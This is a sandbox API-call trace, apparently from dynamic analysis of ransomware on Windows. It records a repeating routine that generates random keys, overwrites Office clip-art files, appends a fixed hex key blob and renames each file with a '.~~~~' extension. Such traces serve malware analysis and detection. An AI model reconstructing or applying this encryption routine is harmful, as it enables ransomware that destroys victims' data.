	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.890] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21888005126) returned 1
	[0098.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4a79470, dwHighDateTime=0x1d60e1e)) 
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa160
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa160 | out: hHeap=0x300000) returned 1
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f188
	[0098.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.891] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.891] GetLastError () returned 0x0
	[0098.891] GetLastError () returned 0x0
	[0098.891] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.891] GetLastError () returned 0x0
	[0098.891] GetLastError () returned 0x0
	[0098.897] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.897] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xe3c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xe3c, lpOverlapped=0x0) returned 1
	[0098.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.898] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.898] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.898] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.898] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.898] CloseHandle (hObject=0x11c) returned 1
	[0098.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.~~~~")) returned 1
	[0098.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.900] GetLastError () returned 0x0
	[0098.900] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.901] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.901] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.901] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21889132722) returned 1
	[0098.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4a9f5d0, dwHighDateTime=0x1d60e1e)) 
	[0098.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9da8
	[0098.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9da8 | out: hHeap=0x300000) returned 1
	[0098.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f350
	[0098.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.902] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.902] GetLastError () returned 0x0
	[0098.902] GetLastError () returned 0x0
	[0098.902] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.902] GetLastError () returned 0x0
	[0098.903] GetLastError () returned 0x0
	[0098.907] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffed4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.907] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x12b4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x12b4, lpOverlapped=0x0) returned 1
	[0098.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.907] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.908] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.908] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.908] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.908] CloseHandle (hObject=0x11c) returned 1
	[0098.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.~~~~")) returned 1
	[0098.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.909] GetLastError () returned 0x0
	[0098.909] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.910] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0098.910] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.910] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21890000350) returned 1
	[0098.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4a9f5d0, dwHighDateTime=0x1d60e1e)) 
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9de0
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9de0 | out: hHeap=0x300000) returned 1
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f480
	[0098.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.910] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.911] GetLastError () returned 0x0
	[0098.911] GetLastError () returned 0x0
	[0098.911] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.911] GetLastError () returned 0x0
	[0098.911] GetLastError () returned 0x0
	[0098.913] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdfe0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.913] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2020, lpOverlapped=0x0) returned 1
	[0098.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.914] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.914] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.914] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.914] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.914] CloseHandle (hObject=0x11c) returned 1
	[0098.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.~~~~")) returned 1
	[0098.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.915] GetLastError () returned 0x0
	[0098.915] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.916] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0098.916] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.916] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21890621590) returned 1
	[0098.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4ac5730, dwHighDateTime=0x1d60e1e)) 
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9ef8
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ef8 | out: hHeap=0x300000) returned 1
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f518
	[0098.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.917] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.917] GetLastError () returned 0x0
	[0098.917] GetLastError () returned 0x0
	[0098.917] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.917] GetLastError () returned 0x0
	[0098.917] GetLastError () returned 0x0
	[0098.919] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffed94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.920] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x126c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x126c, lpOverlapped=0x0) returned 1
	[0098.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.920] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.920] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.920] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.920] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.921] CloseHandle (hObject=0x11c) returned 1
	[0098.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.~~~~")) returned 1
	[0098.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.922] GetLastError () returned 0x0
	[0098.923] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.924] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.924] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.924] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21891418388) returned 1
	[0098.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4ac5730, dwHighDateTime=0x1d60e1e)) 
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841aa8
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841aa8 | out: hHeap=0x300000) returned 1
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f5b0
	[0098.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.925] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.925] GetLastError () returned 0x0
	[0098.925] GetLastError () returned 0x0
	[0098.925] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.925] GetLastError () returned 0x0
	[0098.925] GetLastError () returned 0x0
	[0098.927] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.927] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4146, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4146, lpOverlapped=0x0) returned 1
	[0098.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.928] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.928] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.928] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.928] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.928] CloseHandle (hObject=0x11c) returned 1
	[0098.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.~~~~")) returned 1
	[0098.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.929] GetLastError () returned 0x0
	[0098.930] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.931] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
